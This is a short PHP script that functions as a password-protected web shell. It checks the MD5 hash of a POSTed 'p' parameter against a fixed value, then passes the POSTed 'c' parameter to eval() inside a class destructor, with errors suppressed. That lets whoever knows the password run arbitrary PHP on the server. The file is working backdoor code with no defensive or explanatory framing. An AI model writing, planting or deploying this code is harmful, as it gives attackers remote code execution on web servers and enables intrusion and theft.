<?php
class Test{
    public $name = '';
    function __destruct(){
        @eval("$this->name");
    }
} 
$test= new Test();
$p = md5(@$_POST['p']);
$c = '';
if($p == "517127a2fe0b30fe8fb955081f824226"){
    $c = @$_POST['c'];
}
$test->name = $c;
?>